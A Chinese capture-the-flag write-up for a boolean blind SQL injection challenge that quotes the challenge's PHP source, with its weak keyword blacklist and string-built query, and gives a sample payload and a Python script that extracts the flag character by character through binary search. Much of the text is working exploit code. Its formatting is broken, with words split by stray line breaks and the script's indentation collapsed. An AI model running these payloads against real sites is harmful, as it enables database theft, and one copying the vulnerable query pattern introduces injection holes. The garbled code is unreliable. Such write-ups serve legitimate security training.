知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注
eg:
id=(ascii(substr((select(flag)from(flag)),1,1))<128)
0x01
看了网上的源码发现:
<?php $dbuser='root'; $dbpass='root'; function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } i f(isset($_POST['id'])){ $id = $_POST['id']; }else { die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); i f(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db); if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
过滤了一堆东西,可以看到很多函数没有过滤,
接下来就想办法借助函数构造注入就可以了。
借助substr函数截取flag中的内容,长度依次增加。用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。
0x2解题
贴上wp脚本
import requests i
mport time #url是随时更新的,具体的以做题时候的为准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""} f
lag = 'flag{'
i = 6
while True:
从可打印字符开始
begin = 32 end = 126 tmp = (begin+end)//2 while begin<end: print(begin,tmp,end) time.sleep(1) data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp) r = requests.post(url,data=data) if 'Hello' in r.text: begin = tmp+1 tmp = (begin+end)//2 else: end = tmp tmp = (begin+end)//2 flag+=chr(tmp) print(flag) i+=1 if flag[-1]=='}': break
参考链接
https://www.cnblogs.com/kevinbruce656/p/11342580.html